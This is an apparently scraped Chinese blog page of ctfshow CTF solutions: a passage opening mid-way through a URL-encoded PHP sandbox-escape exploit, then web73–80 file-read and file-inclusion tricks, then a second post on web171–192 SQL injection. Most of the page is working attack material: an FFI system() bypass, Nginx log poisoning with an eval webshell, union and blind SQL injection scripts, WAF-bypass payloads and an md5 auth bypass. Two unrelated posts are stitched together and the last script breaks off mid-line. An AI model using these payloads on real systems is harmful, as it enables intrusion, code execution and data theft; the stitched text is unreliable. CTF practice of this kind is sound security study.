%24%69%20%3c%20%30%78%31%31%30%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%0a%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0a%20%20%20%20%65%78%69%74%28%29%3b%0a%7d%0a%0a%63%74%66%73%68%6f%77%28%22%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%6f%62%5f%65%6e%64%5f%66%6c%75%73%68%28%29%3b%0a%3f%3e

拿到了 flag,但这样脚本小子石锤了(甚至还不如)。

有空再研究一下那段脚本。

web73

这一题较 web72 来说比较简单。

题解

没有提供源码,但估计是让你使用 web71 的源码。页面如下:

确定 flag 的位置,扫描一下根目录。这题可以用 web72 的伪协议。

方法一:

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) echo($f->__toString().\' \'); exit(0); ?>

方法二:

c=var_export(scandir("/"));exit(0);

这题可以 include。

c=include("/flagc.txt");exit();

web74

与 web73 类似。但是限制了 scandir()。

题解

题目和 web73 一样。

确定 flag 位置:

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) echo($f->__toString().\' \'); exit(0); ?>

发现文件 flagx.txt 。include 即可。

c=include("/flagx.txt");exit();

web75

知识点

MySQL

  • load_file() 函数
    读取一个文件并将其内容作为字符串返回。

PHP

  • PDO:PHP Data Object的缩写。统一各种数据库的访问接口。
  • PDO->query():用于查询数据并返回查询结果。

题解

题目和 web73 一样。

先直接用伪协议获取 flag 位置。

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) echo($f->__toString().\' \'); exit(0); ?>

先直接看 payload 吧。

c=try $dbh = new PDO(\'mysql:host=localhost;dbname=ctftraining\', \'root\', \'root\');foreach($dbh->query(\'select load_file("/flag36.txt")\') as $row)echo($row[0])."|"; $dbh = null;catch (PDOException $e) echo $e->getMessage();exit(0);exit(0);

答案已经知道了。接下来看一下到底传了个什么东西过去。

try 
	# 创建 PDO 实例, 连接 MySQL 数据库
	$dbh = new PDO(\'mysql:host=localhost;dbname=ctftraining\', \'root\', \'root\');
	
	# 在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。
	foreach($dbh->query(\'select load_file("/flag36.txt")\') as $row) 
		echo($row[0])."|";
	
	
	$dbh = null;


catch (PDOException $e) 
	echo $e->getMessage();exit(0);


exit(0);

分析:就是通过 php PDO 连接数据库,通过数据库的函数间接查询文件内容。

那现在的问题就在于怎么获得题目环境使用的数据库名称?

B站 CTFshow 官方视频讲解说之前见过几次数据库名为 “ ctftraining ”。好吧,这算是个小坑吧。估计以后涉及到数据库操作就先猜测数据库名为 “ ctftraining ”。

这题也参考了其他师傅的 writeup。具体数据库名的获得可以看看。
九枕-ctfshow学习记录-web入门

那这样的话这题就玩完了。

web76

题解

题目与 web75 一样。

目标文件 flag36d.txt。思路和 web75 一样,不多说了。

web77

知识点

FFI,php7.4 以上才有。

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。

题解

题目依旧和 web73 一样。

先直接用伪协议获取 flag 位置。

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) echo($f->__toString().\' \'); exit(0); ?>

发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。

前面的方法都没用了。直接看 writeup。

c=$ffi = FFI::cdef("int system(const char *command);");$a=\'/readflag > 1.txt\';$ffi->system($a);

然后访问 1.txt 即可获取 flag。

现在再回头看下传了个什么玩意儿过去。

$ffi = FFI::cdef("int system(const char *command);");  //创建一个system对象
$a=\'/readflag > 1.txt\';  //因为页面不会回显,所以将内容输出到1.txt
$ffi->system($a);  //通过$ffi去调用system函数 

这个方式成功绕过了 php 对 system 函数的限制。

web78

知识点

include包含,可以尝试使用伪协议。

PHP伪协议详解
php知识点-PHP伪协议

第一次遇见伪协议还是在 web29 中。

题解

直接用伪协议:

url + ?file=php://filter/convert.base64-encode/resource=flag.php

base64 解码即可。

web79

题解

看题。str_replace() 子字符串替换。

可以使用data伪协议:

将 <?php system(\'cat flag.php\'); 进行 base64 编码:
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

data 伪协议传递,查看源码即可。

url + ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80

知识点

Nginx 日志文件。

蚁剑的使用,以及一句话木马。

题解

向 Nginx 服务器发送请求时,记录会保存在 /var/log/nginx/access.log 日志文件。

那就可以传递一句话木马,保存在日志中,然后再包含日志文件,日志中的一句话木马就运行了

先看一下日志内容。

url + ?file=/var/log/nginx/access.log

传递一句话木马。

url + ?file=<?=eval($_POST[\'hi\']);?>

此时一句话木马已经记录在日志文件中。如果再看一下日志文件,但不会显示一句话木马。

原理:因为当前页面本身就是 php 文件,文件包含后,包含文件中的 php 语句也可以被执行。

这时就可以使用蚁剑连接包含后的日志文件。

url地址:url + ?file=/var/log/nginx/access.log
密码:hi

添加之后,就可以看到服务器的文件。

得到 flag。

这个方法可以追溯到 web38。但当时没有解出来。现在算是还愿了 (。•﹃•。)


世路如今已惯,此心到处悠然。

——《西江月》(宋)张孝祥

ctfshow web入门-sql注入

web171

  • 根据题目给出的查询语句构造 Payload
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select 1,database(),3 --+
爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' --+
爆数据
-1' union select 1,concat(0x7e,id,0x7e,username,0x7e,password),3 from ctfshow_user limit 25--+

web172

  • 根据题目给出的查询语句构造 Payload
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select database(),2 --+
爆表名
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
爆列名
-1' union select group_concat(column_name),2 from information_schema.columns where table_name='ctfshow_user2' --+
爆数据
-1' union select to_base64(username),to_base64(password) from ctfshow_user2--+

web173

  • 根据题目给出的查询语句构造 Payload
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select 1,database(),3 --+
爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user3' --+
爆数据
-1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 --+

web174

  • 发现无法在页面中获得输出,抓包后发现是布尔盲注

import time
import requests

def boolBlindSql(url):
    flag = ''
    for i in range(1,100):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) >> 1
            payload = "?id=1\\' and 1=if(ascii(substr((select password from ctfshow_user4 where username=\\'flag\\'),,1))>,1,0) --+".format(i,mid)
            res = requests.get(url + payload)
            if 'admin' in res.text:
                low = mid + 1
            else:
                high = mid
        if low != 32:
            flag += chr(low)
            print('[+] ' + flag)
            continue
        else:
            break

if __name__ == '__main__':
    url = "http://9260e8d4-aa8f-47ca-8737-7e4bdc8bff09.challenge.ctf.show:8080/api/v4.php"
    boolBlindSql(url)

web175

  • 发现无法在页面中获得输出,抓包后发现也没有回显,猜测是时间盲注
import time
import requests

def timeBlindSql(url):
    flag = ''
    for i in range(1,100):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) >> 1
            payload = "?id=1\\' or if(ascii(substr((select password from ctfshow_user5 where username=\\'flag\\'),,1))>,benchmark(10000000,sha(1)),0)--+".format(i,mid)
            try:
                res = requests.get(url + payload, timeout=1.5)
                high = mid
            except Exception as e:
                low = mid + 1


        if low != 32:
            flag += chr(low)
            print('[+] ' + flag)
            continue
        else:
            break

if __name__ == '__main__':
    url = 'http://ea22cc4b-de61-4e78-8f26-7f4c5cb9b750.challenge.ctf.show:8080/api/v5.php'
    timeBlindSql(url)

web176

  • Payload
1' or '1'='1' --+

web177

  • Payload
1'or'1'='1'%23
或者
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username='flag'%23

web178

  • Payload
1'or'1'='1'%23
或者
1'%09union%09select%09password,1,1%09from%09ctfshow_user%09where%09username='flag'%23

web179

  • Payload
1'or'1'='1'%23
或者
1'%0cunion%0cselect%0cpassword,1,1%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23

web180

  • Payload
-1'or(mid(username,1,1)='f')and'1'='1

web181

  • Payload
-1'or(mid(username,1,1)='f')and'1'='1

web182

  • Payload
-1'or(mid(username,1,1)='f')and'1'='1

web183

  • 测试后发现当 POST tableName=ctfshow_user 时会有回显,根据回显内容构造脚本
import requests

def regexpBlindSql(url):
    flag = ''
    chrOfFlag = r'ctfshow-0123456789abdegijklmnpqruvxyz'
    for i in range(1,50):
        for ch in chrOfFlag:
            data = 
                "tableName" : "(ctfshow_user)where(mid(pass,,1))regexp('')".format(i,ch)
            
            res = requests.post(url, data=data)
            if '$user_count = 1;' in res.text:
                flag += ch
                print('[+]' + flag)
                break

if __name__ == '__main__':
    url = '''http://c10f0bff-9f7e-4bdd-8d11-71c0eb7efa49.challenge.ctf.show:8080/select-waf.php'''
    regexpBlindSql(url)

web184

  • 由于这里过滤很多,上一题的 where 也被过滤了,考虑用 right join 来进行注入
import requests
import string
import binascii
url = 'http://1e3df5be-6e3c-443b-b738-2471d9537f9c.challenge.ctf.show:8080/select-waf.php'
payload = 
        "tableName":''
        
flag = ''
chrOfFlag = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
judge ='$user_count = 22;'
for i in range(2,50):
    for c in chrOfFlag:
        a = flag + c     
        a = a.encode('utf-8')  #按utf-8编码
        a = binascii.hexlify(a) #编码为16进制
        a = str(a)  #化为字符串
        a = '0x' + a[2 : len(a) - 1] #形成16进制格式
        payload['tableName'] = "ctfshow_user a join ctfshow_user b on (substr(a.pass,8,) regexp )".format(i,a)
        response = requests.post(url, data = payload)
        if response.text.find(judge) != -1:
            flag += c
            print('[+] ' + flag)    
            break

web185

  • 过滤了数字,用下面图片中相关内容进行绕过

import requests


url = 'http://3bfb7aa3-6f20-45d2-a207-b0f1c33cbd17.challenge.ctf.show:8080/select-waf.php'
preflag = 'ctfshow'
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, , ))regexp(hex(char))'

def createNumber(num):
    ret = 'hex(ceil(cot(-ascii(char_length(now())))))'
    if num != 1:
        for i in range(num - 1):
            ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))'
    return ret

def noNumber2GetFlag():
    flag = ''
    for i in range(42):
        # print('[+] Start blind  palce'.format(i))
        for ch in strings:
            data = 
                'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch)))
            
            res = requests.post(url, data)
            if res.text.find('43') > 0:
                flag += ch
                print('[+] ' + flag)
                break
    return flag
if __name__ == '__main__':
    print(noNumber2GetFlag())

web186

  • 过滤条件绕过后和上一题一样的脚本
import requests


url = 'http://9ae687ca-baad-41a4-a8f1-a2c9dea3b271.challenge.ctf.show:8080/select-waf.php'
preflag = 'ctfshow'
strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
payload = 'ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, , ))regexp(hex(char))'

def createNumber(num):
    ret = 'hex(ceil(cot(-ascii(char_length(now())))))'
    if num != 1:
        for i in range(num - 1):
            ret = ret + '+' + 'hex(ceil(cot(-ascii(char_length(now())))))'
    return ret

def noNumber2GetFlag():
    flag = ''
    for i in range(42):
        # print('[+] Start blind  palce'.format(i))
        for ch in strings:
            data = 
                'tableName' : payload.format(createNumber(i + 1), createNumber(1), char=createNumber(ord(ch)))
            
            res = requests.post(url, data)
            if res.text.find('43') > 0:
                flag += ch
                print('[+] ' + flag)
                break
    return flag
if __name__ == '__main__':
    print(noNumber2GetFlag())

web187

  • 分析源码,发现关键点 md5($_POST['password'],true),当该十六字符二进制格式开头为 ' or ' 时,后面的字符串为一个非零的数字开头都会返回 True,这样便可以绕过这里从而拿到 Flag,这里给出几个符合条件的字符串:ffifdyop、129581926211651571912466741651878684928、

  $username = $_POST['username'];
  $password = md5($_POST['password'],true);

  //只有admin可以获得flag
  if($username!='admin')
      $ret['msg']='用户名不存在';
      die(json_encode($ret));
  
POST: username=admin&password=ffifdyop

web188

  • 这里再密码判断需要满足是一个纯数字,且后面进行了一个弱比较,考虑用 0 来绕过,而在用户名判断的地方可以用布尔的 0 来绕过,这里为 0 其实也就是 where username != 1,即可查出所有的用户信息,原因戳这
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\\(|\\)|\\'|\\"/i', $username))
  $ret['msg']='用户名非法';
  die(json_encode($ret));


//密码检测
if(!is_numeric($password))
  $ret['msg']='密码只能为数字';
  die(json_encode($ret));


//密码判断
if($row['pass']==intval($password))
    $ret['msg']='登陆成功';
    array_push($ret['data'], array('flag'=>$flag));
  
    
POST:username=1<1&password=0

web189

  • 题目给出 Flag 在 api/index.php 里,用 load_file 盲注查询即可
import requests
from tqdm import tqdm


def load_fileBlindSql():
    strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
    flag = 'ctfshow'
    while True:
        for ch in tqdm(strings):
            temp = flag + ch
            payload = 
                "username":"if((load_file('/var/www/html/api/index.php'))regexp(''),0,1)".format(temp),
                "password":"1"
            
            res = requests.post('http://98ddf685-7bb6-4661-be3c-81f5e80f2941.challenge.ctf.show:8080/api/index.php',data=payload)
            if "\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in res.text:
                flag += ch
                print('[+] ' + flag)
                if ch == '':
                  exit()
                break

if __name__ == '__main__':
    load_fileBlindSql()

web190

  • 无过滤的布尔盲注
import requests

def boolBlindSql():
    table_name = ''
    strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz'
    headers = "Content-Type": "application/x-www-form-urlencoded",
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
    for i in range(1, 100):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) >> 1
            # payload = "username=admin' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>,1,0)--+&password=1"
            # payload = "username=admin' and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),,1))>,1,0)--+&password=1"
            payload = "username=admin' and if(ascii(mid((select group_concat(f1ag) from ctfshow_fl0g),,1))>,1,0)--+&password=1"
            res = requests.post(url='http://609c417a-7958-45db-9922-03cb5253db3b.challenge.ctf.show:8080/api/', data=payload.format(i,mid), headers=headers)
            if "\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in res.text:
                low = mid + 1
            else:
                high = mid
        if low != 32:
            table_name += chr(low)
            print('[+] ' + table_name)
            continue
        else:
            break



if __name__ == '__main__':
    boolBlindSql()

web191

  • 过滤了 ascii,用 ord 即可
import requests

def boolBlindSql():
    table_name = ''
    strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!'
    headers = "Content-Type": "application/x-www-form-urlencoded",
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
    for i in range(1, 100):
        low = 32
        high = 127
        while low < high:
            mid = (low + high) >> 1
            # payload = "username=admin' and if(ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))>,1,0)--+&password=1"
            # payload = "username=admin' and if(ord(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),,1))>,1,0)--+&password=1"
            payload = "username=admin' and if(ord(mid((select group_concat(f1ag) from ctfshow_fl0g),,1))>,1,0)--+&password=1"
            res = requests.post(url='http://e5b85a69-befa-4aca-80d1-9ae2c69224b2.challenge.ctf.show:8080//api/', data=payload.format(i,mid), headers=headers)
            if "\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in res.text:
                low = mid + 1
            else:
                high = mid
        if low != 32:
            table_name += chr(low)
            print('[+] ' + table_name)
            continue
        else:
            break



if __name__ == '__main__':
    boolBlindSql()

web192

  • 过滤了 ascii|ord|hex,不用它们就行啦
import requests

def boolBlindSql():
    table_name = ''
    strings = 'flagb7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz,~_+?!'
    headers = "Content-Type": "application/x-www-form-urlencoded",
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'
    for i in range(1, 100):
        for ch in strings:
            # payload = "username=admin' and if((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),,1))regexp(''),1,0)--+&password=1"
            # payload = "username=admin' and if((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),,1))regexp(''),1,0)--+&password=1"
            payload = "username=admin' and if((mid((select group_concat(f1ag) from ctfshow_fl0g),,1))regexp(''),1,0)--+&password=1"
            res =以上是关于《CTFshow-Web入门》08. Web 71~80的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow-web入门 nodejs篇部分题解

ctfshow web入门 命令执行后篇(web55-web188)

Flowable入门系列文章71 - JPA用法

Python入门教程第71篇 检查文件存在性

FFmpeg入门详解之71:获取ffmpeg转码的实时进度

Java小白入门200例71之Java创建对象